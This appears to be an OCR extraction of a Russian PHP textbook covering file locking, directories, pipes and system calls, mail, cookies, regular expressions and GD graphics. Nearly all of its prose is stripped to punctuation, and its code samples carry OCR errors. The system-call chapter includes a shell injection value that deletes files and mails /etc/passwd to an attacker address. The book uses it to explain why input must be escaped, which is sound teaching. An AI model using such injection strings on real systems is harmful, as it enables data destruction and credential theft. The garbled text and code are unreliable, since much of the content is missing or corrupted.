. , -
. t m p f i l e o
.
string realpath(string $path)

. : $path
, . . . :
echo realpath("../t.php"); // , /home/test.php
echo realpath(".");

("

//

,
, getcwd ( ) . , "" , / . /. ,
, getcwd ( ) .

, $path, ,
false.

realpath (} "" ,
, . , .



. -

15.

259

( ), . , , .
bool copy(string Ssrc, string $dst)

$src $dst. ,
$dst , . true, , f a l s e .
bool rename(string Soldname, string $newname)
( , )
$oidname $newname. $newname ,
, false. To
. , true.

, ( Unix
Windows). rename () HTTP (
) /tmp - .
bool unlink(string $filename)

$filename. f a l s e , true.

- , ""
0. , Unix-.
list File (string $filename)

$f ilename -,
. ,
f open ( ) .
, ( \), ,
, .
array get_meta_tags (string $filename, int $use_include_path=false) ;

<meta> ,
</head>. <meta> :
<meta ="" content=" ">

260

IV.

=> , .
( ,
f open
). $use_inciude_path ,
,
, include require.


bool ftruncate(int $f, int $newsize)

$f $newsize. ,
, . , :
ftruncate ( $ f , 0 ) ; //
void f f l u s h ( i n t $f)
, $f. ?
,
: , fputs ($f, " ! " )
( 8). ,
, ,
. , . ,
f f l u s h .
int set_file_buffer(int $f,

int $size)

, , $f. :
set_file_buffer($f,0);

,
, ,
.

/ . .
f flush ().

15.

261


/ . , "" "-". , -,
"", . , ,
, . ?
f l o c k , " " . ,
,
. .
,
, . ,
, . , , ,
,
, .
. , , , , , "".
, " " ( ) : , .
.
,
, flock .
bool flock(int $f, int $operation [, int& $wouldblock))

$f
, . Separation
:
LOCK_SH ( i) ;
LOCK EX ( 2) ;
LOCKJJN ( ) ;
LOCK^NB ( 4) , , "" f l o c k , .

262

IV.

, ,
, - $wouidbiock
true.
, , false, true.

, flock ()
( Windows), , Windows
. , , , , . ,
.


, (,
man FreeBSD), , . ,
.
, . "?


-. , (,
) , .
.
, . f lock ( $ f , LOCK_EX> , , ,
f i o c k ( $ f , LOCKJJN)
.
? , ,
"" flock ( ) , . .
, - . ,
, , , , -
( flock ( ) ) , , ,
. ,
, . .

15.

263

, ,
-, ( 15.2).
1 15.2.

/ /

$f=fopen ($f , "a+") or die ("He !");


f lock ($f, LOCK EX) ; // ,
/ / ,
//'

f flush ($f) ;.

//

flock (Sf, LOCK_UN) ; // ,


f close ($f) ;
//

, w ( , ), "" +.
. : . ( )! ,
,
w -- +
f truncate , . :
Sf=fopen ($f , "a+") or dieC'He !");
flock ($f,LOCK_EX) ;

// ,

f truncate ($, 0) ;

//

fflusho , ?
: , . . ""

264

IV.

, . , , , .

( 7)
,
. , + -
w. , ,
fflush ( ) .


. ,
- ,
? -
, -? , ,
"" . , . ?
.
. , , , ? f l o c k , ,
. - ,
. , - , , , , , , .
-,
, , , ,
, .
"" , , ? . , ,
, , - .
( ) . , , : , . -
" " , . . :
, ?

-. , -
, ? ,
, . ,
flock ( $ f , LOCK_EX) , . .

15.

265

, , ,
, . (- ), . , ,
, , "" . " " ,
"" , "" , .
15.3 ,
.
I 15.3.

//
// . . .

$f=fopen ($f , "r"! or die ("He !");


flock ($f, LOCK_SH) ; // , -
/ / ,
/ / ,

flock ($f, LOCKJJN) ; // ,


fclose($f) ;
/ /

^
,
, . ,
. , .

""
f l o c k ( ) ,
LOCK_NB , ,

266

IV.

" ",
. , ,
, ,
. , , - , , ,
, ,
, . LOCK_NB:
$f=fopen("file.txt", "a+") ;
while(!flock($f,LOCK_EX+LOCK_NB)) {
echo " <br>";
sleep(1); // 1
}
//

, flock ( )
, , ! , -
while, ,
.


, . Web-, , , , , .
, , , , . , , ,
-, .
, , "".
,
.
I 15.4.

$f=fopen("counter.dat","a+");
flock($f,LOCK_EX);
// ,

267

15.
$count=fread($f,100}; //
//
@$count=$count+l;
//
ftruncate($f,0);
//
fwrite($f,$count);
//
fflush ($f) ;
//
flock($f,LOCK_UN);
//
fclose($f);
//
echo $count;

,
1 ( = 0)





, , ,
.

16


,
.
,
.
.
( , ) . . ,
, ,
. ,
.


.
bool mkdir(string $name, int $perms)

$name $perms.
, . $perms 0770 ( , , ). :
mkdir("my_directory",0770); //
rakdir{"/data"); // data

true, false. , , .
, .

, , , 0 7 7 0 " , ". , ? , -

16.

269

? . "" , . ,
Unix.
bool rmdir(string $name)

$name. true, false. ,


.
bool chdir(string $path)

. , false. $path
, . :
chdir("/tmp/data'") ;

//

chdir("./somathing"); //
chdir("something");

//

chdir("..");

//

chdir("-/data");

// ///data ( Unix)

string getcwdO

, "" (/).
( Unix - ,
),
"" false.

"

.
, , ( -
).


, ,
. ,
.
, : , , . , , .
int opendiristring $pathi

$path
. -

270

IV.

readdiro
. f a l s e , .
string readdir(int $handle)

$handie .

, , ,
. : . ( ) . .
( ).
, 16.1
c o n t i n u e .

(^

3 Shandle , ,
. " ",
"" ... - . 4 : $handle readdir ( ) ,
.

, , . :
$d=opendir("somewhere");
while(Se=readdir($d)) ( . . . )


"", , , .
:
$d=opendir("somewhere") ;
while ( ($e=readdir($d)) !==false) ( . . . )

!== ,
false.
void closedir(int $handle)

$handie. He . , , . .
, - .
void rewinddir(int $handle)

"" .
readdir , .

16.

271

:
, ( ) ,
.
i 16.1.

// ,
// . $level
// .
function PrintTree ($level=l)
{

//
$d=@opendir (".");
if(!$d) return;
while ( ($e=readdir ($d) ) !==false) {
// . . .
if ($e=' . ' I l$e='. . ') continue;
//
if ( ! @is_dir ($e) ) continue;
// ,
for($i=0; $i<$ level; $i++) echo " ";
//
echo "$e\n";
//
if ( Ichdir ($e) ) continue;
PrintTree ($level+l) ;
//
chdir (". . ") ;
// ,
//
flush () ;
}
closedir ($d) ;

//
echo "<pre>";

272

IV.

echo " A n " ;


//
chdir ("/") ;
PrintTree ( ) ;
echo "</pre>";

,
. , , . . .

.
, , ,
. (,
) \/ .

17

& ^ *^ Ji

--;

Lfl _ ^

. . ,, -wsjj,.

<

-, .
,
.
-
Unix,
, .

.

. , -
f open ( } ,
. :
- (, mail
). ,
(, E-mail
), .
, , , , , . (
), ,
( ). ,
- - ,
, .
.
.
// /bin/Is ( )
// . Unix
// , -1 .

274

IV.

$fp=popen("/bin/Is - 1 " , " " ) ;


// $fp
// . .
forS$Lines=array(); !eof($fp);)
$Lines[]=fgets($fp,1000);
// He .
pclose($fp);

.
, . , ,
, ( system , ). : , , fopen ( ) .

, . ? ,
, : - -
, -
,
. , : . , -.

.
(,
Unix, - ,
, - ) $fp. , ( ),
f gets ( ) , f read ( ) . .
is (
), f gets ( ) .
, " ", $fp, , .
, " " ,
" " , .

,
.

17.

275

, , , .


( , ) ? Unix (
- )
.
, . Unix .
,
.
(, ) "",
, " . ,
, ( , f open , f read
. .)
( ), . .
string readlink(string

$linkname)

,
$iinkname. , ,
, , , .
"".
bool symlink(string $target, string $link)

$iink
( ), $target. "" false.
array Istat(string $filename)

stat ( ) , ,
$ f i i e n a m e , ,
( , , stat ( ) ) .
int linkinf(string $linkname)

"" ,
istat ( ) , . ,
, , $iinkname. stat , . ., -, "".
. 699

276

IV.

,
, .
, u n l i n k rmdir ( } .



. ,
. , , , , , .
"" , , .
: , ,
, . .
"" .
, , . .
10.
, . , (,
unlink ), ,
, . , .
(
) link . s y m i i n k o , , , , . ,
link , rename ,
, .

, Unix, Windows.
Microsoft?..

18

.
"" ,
,
- , , ,
, Perl. ,
,
.
s t r i n g s y s t e m f s t r i n g Scoramand [ , i n t & return_var])

, , , ,
, . . . .

, , - , ,
? , ?

( , !),
. ,
, .

,
, . , system ,
( ) , - , rm -R ~ / , " "
.

278

IV.

,
. , ( )
exec ( ) . , , , (, , - GIF-),
PassThruO.
s t r i n g e x e c ( s t r i n g $coinmand [ , l i s t s Sarray]

[ , i n t & $return v a r ] )

exec , s y s t e m o , , , , .

, $ ( ),
.
(

- exec ( ) ,
,
. ,
.

s y s t e m ) ) , -
$return_var . exec ( ) -.
string EscapeShellCmd(string $command)

, ,
(, )
system exec ? ,
: ,
, . .
EscapeShellCmd . :
system("cd ".EscapeShellCmd($to_directory));

$to_directory ,
Cookies. ,
, -
EscapeShellCmd ( i , :
system("cd $to_directory"); // !

$to_directory:
~; rm -R *; sendmail hacker@domain.com </etc/passwd

18.

279

,
/etc/passwd, Unix-
.
string PassThru(string $command [,int& $return_var])


, --.
, - " ",
( , ,
PassThru ).
:
Header("Content-type: image/jpeg");
PassThru("cat my_image.jpg");

Header , , , JPEG, cat "" .

19



,
.
( )
.
.


timestamp
int time ( )

, 1 1970
. Unix
: ,
( , , fiie_mtime ). , (
timestamp). To " 1 1970
, , .
^"

- , timestamp ()
1 1970 , . , .
string m i c r o t i m e f )

: " ", -- ,
time , , .
, gettimeofday ( ) , . . .

19.

281

microtime () . , -. , Unix , Windows ,


. , - ,
"", , .
int mktime ((int $hour]

[,int $minute]

[,int $second]

[,int $month]

[ , int $day] [,int $year] )

,
timestamp , .
, mktime .
, , ,
, . - ,
, . timestamp, .
, , . " ",
, timestamp. ( ),
:
echo date("M-d-Y", mktime (0, , , 1, 1, 1998) );

//

echo date("M-d-Y", mktime (0, 0, 0, 12, 32, 1997) ); //


echo date("M-d-Y", mktime (0, 0, 0, 13, 1, 1997) );

//

, .


string date(string $format [,int Stimestamp] )
. , $ format $timestamp (
). ,
:
, 1 1970 ;
z ;
Y , 4 ;
, 2 ;
F , , January;

282

IV.

m ;
, , , jan;
, 2 ( 0);
j ;
w , 0 , 1 , . .;
1 , , , Friday;
, , , Fri;
am

AM ;
h , 12- ;
, 24- ;
H i ;
s ;
s (nd, th . .).
, , " ". , , .
, .
date ( ) :
echo date("l dS of F Y h:i:s A");
echo date(" d.m.Y");
echo date("3TOT d.m.Y",filectime("myfile"));

, , F
( ), (.
setiocaleo)
.
int checkdate(int $month, int Sday, int $year)

, , :
, -- , , ,
. ,
checkdate ( ) :
1900 32 767 ;
1 12;
(
).

19.

283

, ,
HTML- . ,
, " ",
.
array getdate{int $timestamp)

, . :
seconds ;
minutes ;
hours ;
mday ;

wday , ;
;
year ;
yday ;
weekday , , Friday;
month , , January.
-,
date , .


,
. I
1700 .
,
.
Julian Day Count (JDC). ?
JDC. , , JDC
, (, - 4714-
).
? , "..".
. JDC
.
int GregorianToJD(int $month, int $day, int $year)

JDC. 4714 9999 .

284

IV.

string JDToGregorian(int $julianday)


JDC , //. , .
e x p l o d e ( ) :
$jd = GregorianToJD(10,ll,1970);
echo "$jd<br>\n";

$gregorian = JDToGregorian($jd);
echo "Sgregorian<br>\n";

$list=explode($gregorian,"/");
mixed JDDayOfWeek(int $julianday, int $mode)

JDDayOfweek () : ,
JDC-. , , . Smode ,
:
(0 , 1 , . .);
1 ;
2 .
, . .
.

20



, . . .


bool mail(string $to, string $subject, string $msg [,string $headers])
m a i i o $msg (
" ", . . , , ) $to.
, $to.
:
mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru,
"IVh
jV-- ^ .^i'--1- ",
"j ^^a^^tiwL,

"Line IXnLine 2\nLine 3"


);

, , ( ,
Content-type . .) . . :
tr. a -ii '" = ;' -.. ^ d k p d i z a i n . r u " ,
"the subject",
"Line IXnLine 2\nLine 3",
"From: webmaster@$SERVER NAME\n".

"Reply-To: webmaster@$SERVER_NAME\n".
"X-Mailer: PHP/" . phpversionO
);

, - . $msg ( ), (

286

IV.

HTTP). To $subject:
subject .
. , .


, ,
. , , , , ,
,
.
. , , .


: mail . ,
. :
$message=
"From:
:
Subject:
Content-type: text/plain; charset=windows-1825

! .
!";
Mail("ivanov@ivan.ivanovich.ru","",$raessage);

content-type (
).
, , -,
(text/plain), -, Windows.
,
.

, ?
?

,
, , , .

20.

287


90%
. "" Windows-, KOI-8R.

c o n v e r t _ c y r _ s t r i n g ( ) . , , Content-type
charset koi8-r. :
$message=
"From:
: <ivanov@ivan.ivanovich.ru>
Subject:
Content-type: text/plain; charset=koi8-r
! .
!";
$message=convert cyr string($message,"w","k");
Mail("ivanovgivan.ivanovich.ru","",$message);

, ,
Subject ? , convert_cyr_string ,
From, TO, subject .
$ subject
$headers...


,
Content-type. , ,
content-type,
subject, content-type. , content-type
. ,
content-type
:
$message=
"Content-type: text/plain; charset=koi8-r
From:
To: <ivanov@ivan.ivanovich.ru>
Subject:
Content-type: text/plain; charset=koi8-r
! .

288

IV.

!";

$message=convert_cyr_string($message,"w", "k");
Mail("ivanov@ivan.ivanovich.ru","",$message);
, ,
" ". ,
( KOI8),
.
,
Outlook Express , , .

: ""

,
E-mail
( ),
( ), . .
. , , :
bool PostMail(string $ToAddress, string $Encode, string $Message)
$Message $ToAddress, , $Encode. $Encode :
w Windows
O k - KOI8-R
m Mac
i Iso Latin
t Translit
content-type.. .charset ( content-type , ,
charset ).
. ( echo). , , "" <? ?>.
,
, .
, ,
.
PostMail , V
.

21

WWW
HTTP I .
echo, ,
. ,
HTTP.


, , Header (,
, ).
(, ob_start ).


int Header(string Sstring)

Header .
,
- . ,
Header
. ,
<? ?> , "" <? (
, ) , , ?> . , ,
, 15 (1+2+4+8)
Header . :
//
Header("Location: http://www.php.net");
// , ,

//
exit;

290

IV.


Header --
Proxy-. , . , , . --
:
Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

//

Header("Cache-Control: no-cache, must-revalidate");

// HTTP/1.1

Header("Pragma: no-cache");

// HTTP/1.0

Header("Last-Modified: ".omdate("D, d M Y H:i:s")."GMT");

,
4 ,
, Proxy-. (, NoCache ( ) )
.


( ,
) GetAllHeaders :
array GetAllHeaders()

GetAllHeaders ,
HTTP- , .
, .
:
$headers = GetAllHeaders();
foreach($headers as $header=>$value)
echo "$header: $value<br>\n";

GetAllHeaders () ,
Apache.
( , CGI- ). , Windows (
) GetAllHeaders () .

GetAllHeaders : (, , ) -

21. WWW

291

. ,
.

Cookies
Cookies (, , ), ,
I .
.


, Cookie ( ) ,
. , Cookies , .
(, ), , , . Cookies
, ,
.
Cookies
, . , , Cookies,

.
Cookie ,
. Cookies,
"" (
, , , ), (. 25).
Cookie . :
Set-cookie:

setcookie ( ) ,
, .
, , , , "" Cookies. .

292

IV.

, ,
Cookies?
?..

Cookie
, Cookies. Cookie ,
.
int setcookie(string $name [,string $value]
[,string $path]

[,int $expire]

[,string $domain] [,book $secure])

setcookie () Cookie,
. , ,
. $name ( Cookie), Cookie
. , , "".
Sexpire $secure, , ,
0. $expire
timestamp, , ,
time raktimef). $secure , Cookie
HTTPS- ( HTTPS, ,
, , ).
Setcookie():
// Cookie , . .
SetCookie("TestCookie","Test Value");
// Cookies 1
SetCookie("TestCookie",$val,time()+3600);
SetCookie("TestCookie",$val,time()+3600,"/-rasmus/", ".utoronto.ca",1);

setcookie Cookie $name . setcookie . $value URL- , Cookie , ,


.
: . , ,
.

21. WWW

293

; 21.1.
;

if(lisSet($Counter)) $Counter=0;
$Counter++;
SetCookie("Counter",$Counter,Ox7FFFFFFF);
echo " $Counter !";

, ,
? ,
, , ...
, Cookies ,
.
(, Serialize ) Cookie.
, , , unseriaiize ( ) .
, ,
Cookie:
SetCookie("Arr[0]","") ;
SetCookie("Arr[1]","bbb");
SetCookie("Arr[2][0]","ccc");

//

, Cookie A r r [ 0 ] Cookie. , Cookie , , , , ().


, ... , , Cookies: , Cookies,
, , , . , , - serialize Cookie, , .

Cookie
- Cookies. , - Cookie, , cook val.
( , , ) Cook=val ( ).
$cook

294

IV.

val. To ,
Cookie - . , , !

SSI virtualf)
, Apache
"". , ( ,
Apache ): , SSI (Server-Side Includes ).
"" SSI- include v i r t u a l .

include virtual , URL


, .
, URL
. SSI-
.
int virtual (string $url)

virtual , , Apache. , SSI- <! tinciude virtual. ..-->.


, ,
, .
virtual CGI, , SSI- . ,
, HTTP-, . ,
PHP- virtual include.

virtualf)
virtual ,
Apache. , , - virtual . ,
virtual ( "" ,

virtual ( ) ). :

21.

WWW

295

if ( ! function_exists ( "virtual" ) ) {
//
function Virtual ( $url )
{ //*
//* URL ( ) .
//*
//* 5- .
global $HTTP_HOST,$SERVER_PORT;
$f=@fopen("http://$HTTP_HOST:$SERVER_PORT$url" , "") ;
if(!$f) {
echo "[an error ocurred while processing this directive: $url]";
return false;

}
// echo
whilef ($s=fread($f , 10.000) )!="") echo $s;
fclose($f) return true;

, f open ( ) ,
, http: / / .
URL . , , , .

22



RegEx
, .
, .
, ,
.


,
. , . ?..


-
( , ): - , , , .
, f i l e . i n f i l e . o u t . ,
"" out.
, . , :
$p=strrpos($inFile, ' . ') ;
if($p) $outFile=substr($inFile, 0,$p) ; else $outFile=$inFile;
$outFile.=".out";

, ( - , , ,
, ). "" ,

22. RegEx

297

,
. : " $inFiie , ( ), , , " " .out,
$outFiie".


.
: , ,
. , b a s e n a m e o
d i m a m e o , . ,
. :
$slashl=strrpos($fullPath, ' / ' ) ;
$slash2=strrpos($fullPath, ' \ \ ' ) ;
$slash=max($slashl,$slash2);
$dirName=substr($fullPath,0, $slash) ;
$fileName=substr($fullPath,$slash+l, 10000) ;
, strrposo false,
0, .
, strrpos ,
, . . .

, . ,
,
, . , .
, , : "
, , , SfileName, " " - $dirName". " "
: " , ,
".

, , , " ". , , -

298

IV.

( , ), ""...
. ! , ( ,
), , .

, ,
. , , .
. , , " ", , . "",
, - "".
, . , ( , ) . -
, . , " ,
" "ab cde fgh" "cde" (
). , - , -
, , . . , .



. , , , , .

bool ereg(string $expr, string $str [,list &$Matches])

$ $str
true, false. ,

22. RegEx

299

$Matches (, )
( RegEx, ). , $Matches[0] .


, , , , - ,
:
string ereg_replace(string $expr, strint $str, string $strToChange)

, $str , $, $strToChange.
$strToChange , . , , \ (
"\\0") .

RegEx
,
. ,
. 3
RegEx.
^

PCRE
(Perl-Compatible Regular Expression Perl).
. PCRE
Perl.

, RegEx ,
, .
RegEx. . . ( ),
. :
, ,
"";

300

IV.

( , , . .);
( , , ,
- , ).


, , . ,
RegEx , ( : " . * ? + [ ] { } |$ "), abed "" , abed.


,
, " ",
. , , *,
\* ( ,
"\\*"), * ( , ).
( )
. , , -
, .
$="\*"


$="\\*"

$ \*. , .
^~
,
, , .


, RegEx
, . , . , .
"." .

22. RegEx

301

, . azb aqb,
"" , , aqwb . ,
(, , )
.
. , ,
.
. , a [ x X y Y ] c ,
, ,
, , , Y , , . [ ], (, ),
.
- , ,
, . . , [a-z] z
, [a-zA-zo-9_j .
,
. RegEx [ ] , .
. , [:ainum: ] , [ : d i g i t : ] . :
[ : a l p h a : ] ;
[: d i g i t : ] -- ;

[ -. ainum: ] ;
[: space: ] ;
[:blank: ] 0 255;
[: cnrti: ] ;
[:graph: ] ;
[: lower: ] ;
[:upper: ] ;
[:print: ] -- ;
[ :punct: ] ;
[ : x d i g i t : ] F.

, [ : _ : ] . ,

IV.

302

. ,
:
abc[[:alnum:]]+
abc[[:alpha:I[:punct]0]

// abc,
// abc, ,

:
abc[:alnum:]+

// !

[ : _ : ]
, , , "" (, setiocaieO ). , [ [ : a l p h a : ] ]+ ,
. ""
[ . . . ] .


( ) . , , (,
> <). , , 254 ,
[ <>], , , [ ] . ,
[ \ t \ n \ r ] b "" ,
, .
, [ . . . ] . ,
.


, .


*. ,
( , ,
). , -*- ,
, , , .

, . . "" ,

22. RegEx

303

. , (
"" 2 ), - ( 1 ). "" , , , " ".

PCRE, RegEx, "" .


, .
, ,
. : *,
,
" " +. : -+,
" ". , , , :
[ a - z A - Z ] +- [a-zA-Z] +.


, ?. ,
( !) . ,
[ a - z A _ z ] + \ r ? \ n ,
. Unix, \ , Windows
\\. , \ .


, .
, , . ,
" ".
. .
x { n , m } , X m ;
(}

- , X ;

(, )

, X .

IV.

304

m 0 255 . ,
*, + ? ( . . . } .



(, , ), . , . ,
(: ,
, ), $
( , ).
, ,
, abc, abc$,
abc "". , $
abc, .
, .
[ [ : < : ] ]
. [ [ : > : ] ]
.
, [ [ :ainum: ] ]+,
. ., .

RegEx
. PCRE, , , .

:
$st="

string

";

if(ereg("[[:<:]] ([[ralnum:]]+) [ [:>:]]",$st,$Pock))


echo " : $Pock[l]";


[ . . . ] ,
,
. , ,
, ( ).
RegEx
, . |.

22.

305

.
1 | 2 | 3 [123], .
| | z$ i z z z , , , z, , , z z z .
abci i a b c 2 2 |abc333 , abcl, abc22 ( , -

).


, -
,
. abc 3 .
: a b c i | 2 2 | 3 3 3 , |, ,
.
( )
( . . . ) . ,
: a b c ( I I 2 2 | 3 3 3 } .

, . , ,
, .

""
, , , -
.
, (
), , ,
, .
, .
DD-MM-YYYY,
. , - .
, , , ,
?

IV.

306

, RegEx . ,
4

* ( ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) ) *$

, 2 ( 4) . , , .
,
, , . :
, ,
"" ( ).
, (
), , , , .

,
. .
? : , ,
. , , :
$str=" 15-16-2000 "; //
//
4
" * ( ( [0-9]+ ) - ( [0-9]+) - ( [0-9]+) ) *$", $str, SPockets) ;
//
echo " : $Pockets[l] <br>"
echo ": $Pockets[2] <br>";
echo ": $Pockets[3] <br>";
echo ": $ P o c k e t s [ 4 ] <br>";

, ,
, , ,
, , ,
. ,
:
4

* ( [ 0 - 9 ] + ) * [ - . / ] * ( [ 0 - 9 ] + ) *[-./] * ( [ 0 - 9 ] + ) *$

22. RegEx

307


. , RegEx, .
.
, , "" $,
"", <> </>,
. ,
, . ,
: \$ [a-zA-Z_] [ [ : a l n u m : ] ] * .

ereg_Replace()?
, :
$str='<? $a=10; for($i=0; $i<10; $i++) echo $i; ?>'; //
$str=ereg_Replace("(\\$[a-zA-Z_][[:alnum:]]*)","<b>\\K/b>",$str);

, , .

, "" : \1 1.



, , .
erego -- , . , .
. ,
, - HTML- (, <> <>), , . , . , , <>
</>, <> </>.

:
<( [ [:alnum: ] ] + ) > ( [ <]

, .
: , , , ( ). , 11 . 699

308

IV.

</, , ,
. \1, ,
. ,
"" , .
, :
$str = "Hello, this <kword</k is bold!";

i f ( e r e g ( " < ( [ [ : a l n u m : ] ] + ) > { [ <]*)</\\l>",$str,$Pockets)}


echo " '$Pockets[2]' '<$Pockets[1]>'";


bool eregi(string $expr, string $str [,list &$Matches])

To , ereg ( } , .

, $Matches .

string eregi_replace (string $expr, strint $str, string $strToChange)


To , ereg_repiace ( ) , .
int quotemeta (string $str)

, - -
. ,
,
quotemeta ( ) . , "" : . , \ \ , +, *,

I - . !
list split(string $pattern, string $string [,int $limit])

explode ( ) .
$string , ,
$pattern. , , , . $iimit, , , explode () , $iimit ,
($iimit-i)-ro .

22. RegEx

309

, , split , explode . , , , . , split , explode .


, Perl,
Perl split ( ) .
list spliti(string $pattern, string $string [,int $limit])
split , , .



, ( ) , . , ,
, , . , , , .


: $fname out
.
:
$fname=ereg_Replace(
1
([[:alnum:]]) (\\.[[:alnum:].]*)?$',
1
'\\l-out ,
$fname
:
"" $, RegEx. , .


: $path $dir
$fname.

310

IV.

:
$fname = e r e g _ R e p l a c e ( " . * [ \ \ " / " " / $ p a t h ) ;
$dir

= ereg_Replace("[\\/]?[ \\/]*$","",$path);


: , $id , . .
- (
, ,
).
:
i f ( e r e g i ( " [ a - z ] [ [ : a l n u m : ] ] * " , $ i d ) ) echo " !";


: , $text, <img> src gif, ,
.
:
$text=eregi_Replace(
'(<img[A>]*src="?[[:alnum:]/\\]*) ( \ \ . [ [ralnum:]]*)?',
-\\l.jpg',
$text


: ,
: / / U R L , http, ftp gopher,
URL - . HTML- < href=...>...</a>.
:
$w="[:alnum:]";
$="[:punct:]";
$text=eregi Replace(
"((https?I ftp|gopher) ://".
"i$w-]+(\\.[$w-]+)*".

//
//

"(/[$w+&.%]*(\\?[$w?+&%]*)?)?". //

22.

311

E-mail
: ,
@, . . E-mail- (
E-mail). HTML-.
:
$text=eregi__Replace (
1

( [ [ :alnum: ] -. ] +@ ' .
1

[[ :alnum: ]-]+ (\\ .[[: alnum: ]-]+)*'.


' (\\? {[[: alnum: ]?+&%]*)?)?'.

//
//
//

, , .



:
$text.
. , . ,
, .
: split () .
i 22.1.
// $text
// , .
function GetUniques ($text)
{ //
$Words=split (" ( [ :punct: ] [ : blank: ] ]+",$text) ;
$Uniq=array ( ) ; //
$Test=array () ; //

312

IV.

// $Words $Uniq
foreach($Words as $v) {
$v=strtolower($v); //
// ? , $Uniq
i f ( ! @ $ T e s t [ $ v ] ) $Uniq[]=$v;
// ,
$Test[$v]=l;
}

// ,
sort($Uniq);
return $Uniq;

, . .
. "" -- split
. ,
. , .
22.1, ,
:
$fname="sometext.txt";
$f=fopen($fname,"r");
$text=fread($f,filesize($fname));
fclose($f);
$Uniq=GetUniques($text) ;
foreach($Uniq as $v)

echo "$v ";

, preg_split ( ) , PCRE,
, ,
split () 3 !
, , ,
- Perl ,
Perl Cookbook
( : " . Perl", , 2000).

, .

22. RegEx

373

,
.
,
. , ,
" " "
s q u o t ; " str_replace () ,

ereg_Repiace ( 20 ). , ""
, , . ,
.

23


, WWW

-, ""
. , , .
, ( BMP), ,

.
.
JPEG. ,
, .
GIF. /, ;
.
PNG. JPEG, GIF, - ,
, - GIF . .
GIF PNG,

. , GIF
, ( ) PNG.
Web- ? ?
. ,
, (
, ""
), ,
,
. -

23.

315

" ", . , : -
(, fly),
.
, , , , , - .
, GIF, PNG. ,
, GD GIF, PNG.
, GIF
. , GD
GIF , , , : GIF,
PNG, , ( ) 98% ...


GetlmageSizeO
, ,
.
.
" ", ,

, GIF, JPEG PNG.
list GetlimageSize(string $fiiename [,arrays $imageinfo])


( ) ,
. .
( 0) , ( 1)
. 2 : 0, GIF, 1 JPG 2 PNG. ,
3,
: height=sx width=sy, sx sy . ,
<img>, .

316

IV.


GD
" ". , ,
-, , - .
GD. (
, / , ,
. .), ,
. ( GD) .

GD . , - . ,
GD.

, HTML , PNG. URL


:
<img src=button.php?Hello+world!>

, ,
Hello world! ,
images/button.png.
" ".

. 23.1.

TrueType-

23.

317

I 23.1. " "

I. ....... ;
.
.
.
.
.
, ............... . ................................................ . ....... . ....................... . ........

<?
// ,
$string=$QUERY_STRING;

//
$im = imageCreateFromPng ("images/button. png") ;

//
$orange = imageColorAllocate ($im, 220, 210, 60);
// ,
$ = (imageSx($im)-7.5*strlen($string) ) /2;
// ,
imageString ($im, 3, $, 9, $string, $orange) ;
// , PNG
Header ( "Content-type : image/png" ) ;
// :
// , . .
imagePng ($im) ;
/ / ,
imageDestroy ($im) ;

, " "
, "" .


, GD.
( imagecreate ( ) ) (imageCreateFromPng(), imageCreateFromJpeg()
imageCreateFromGif , , GD).
int imageCreate(int $x, int $y)

$ $ . , ,
, ,
.
int imageCreateFromPng(string $filename)
int imageCreateFromJpeg(string $filename)
int imageCreateFromGif(string $filename)

318

IV.


. imageCreate ( ) ,
.
,
, ,
. . imagePng
(, , imageJpegO i m a g e G i f o )
.
,
. , imageCreateFromGif ( ) ,
, imageCreateFromJpegO ,

GD , . ,
, , , .

, GD
, .
, , ( BMP), , .
PNG- ImageCreateFromPng ( )

image jpeg ( ) , .
, imageSXO i m a g e S Y O :
int imageSX(int $im)

,
, .
int imagesY(int Sim)

.
int imageColorsTotal(int $im)

,
, "" , GIF. .
, imagecoiorAiiocate . ,
GIF- , -

23.

319

(, 16 17 ) ,
( GIF).
imageCoiorAiiocate 16 , imageCoiorciosest ,
.


, 23.1 " ", , , . ,
.
int imagePng(int $im [,string $filename])
int imageJpeg(int $im [,string $filename])
int imageGif(int $im [,string $filename])

,
, , . ,

imageCreate ( ) , . . $im.
$fiiename ,
, . . .
Content-type ,
H e a d e r ! ) , 23.1.

Content-type, , ,
. ! , , . ,
HTTP.

, , :
Header("Content-type: image/png") PNG
Header("Content-type: image/jpeg") JPEG
Header("Content-type: image/gif") GIF
,
i m a g e P n g O , i m a g e G i f O imageJpeg ( ) ,

, ,
, .

320

IV.

,
imageCreateFromXXX ( } , . ., , . . , ,
imageCreateFromXXX ( ) . imageCreate ( )
( , ). :
, , , ,
-, . ?..

RGB
, -
. , ,
. RGB-
( red-green-blue) 0 255,
, . 0 , 255 . , (0,0,0) , (255,255,255) , (255,0,0) -, (255,255,0) . .
, GD . ,
RGB-
.
. , .


int imageColorAl locate (int $im, int $red, int $green, int $blue)
,
RGB. ,
,
. , , ()
. "" - ImageColorClosest .


, . ,
( GIF PNG)

23.

321

. , GIF
256, ,
"" . , , .
, , 256 "" imageCoiorAiiocate . ,
, ,

. " " ,
(,
,
).
int imageColorClosest(int $im, int $red, int $green, int $blue)
, , imageColorClosest .
,
,
. ,
. , , . ,
"--" ,
, " " GD "".


imageColorClosest () , 6

,
. , , . "" , . , "" .
, imageColorTransparent () .
int imageColorTransparent(int $im [,$int c o l ] )

imageColorTransparent GD,
$coi ( ) $im .
, false, .

, JPEG
.

322

IV.

, GD -
, "" ( , ...).
:
$tc=imageColorClosest($im,0,255,0);
imageColorTransparent($im,$tc);

, i m a g e C o i o r A i i o c a t e o
, , , , .

RGB-
array imageColorsForlndex(int $im, int $index)

red, green blue


( ), , RGB $index. ,

:
$c=imageColorAt($1,0, 0) ;
list($r,$g,$b)=array_values(imageColorsForlndex($i,$c));
echo "R=$r, g=$g, b=$b";

imageCollorAllocate () imageColorClosest ().


. GD. ,
99% . http://ru.php.net.


int imageCopyResized(int $dst_im, int $src_im, int $dstX, int $dstY,
int $srcX, int $srcY, int $dstw, int $dstH,
int $srcW, int SsrcH)

,
. (

23.

323

), . , 10
, . ,
...
, $dst_im , .
. , $src_im , . ,
$src_im $dst_im .
($srcx, $ s r c Y , $srcw, $) ( ,
!)
, ,
, .
, (Sdstx, $dstY, $dstw, $dstH) $dst im, ""
. , , , .
, imageCopyResizedO :
;
;
;

.
, ,
, , ,
. . GD ,
, .

int imageFilledRectangle(int $im,int $xl,int $yl,int $x2,int $y2,int $c)


: , Sim, $coi
(, , imageColorAllocate ). ($xi,$yi) ($2,$2) , (, , ).
,
, , :
'

Si=imageCreate(100, 100) ;

324

IV.

$c=imageColorAllocate($i, , , 0) ;
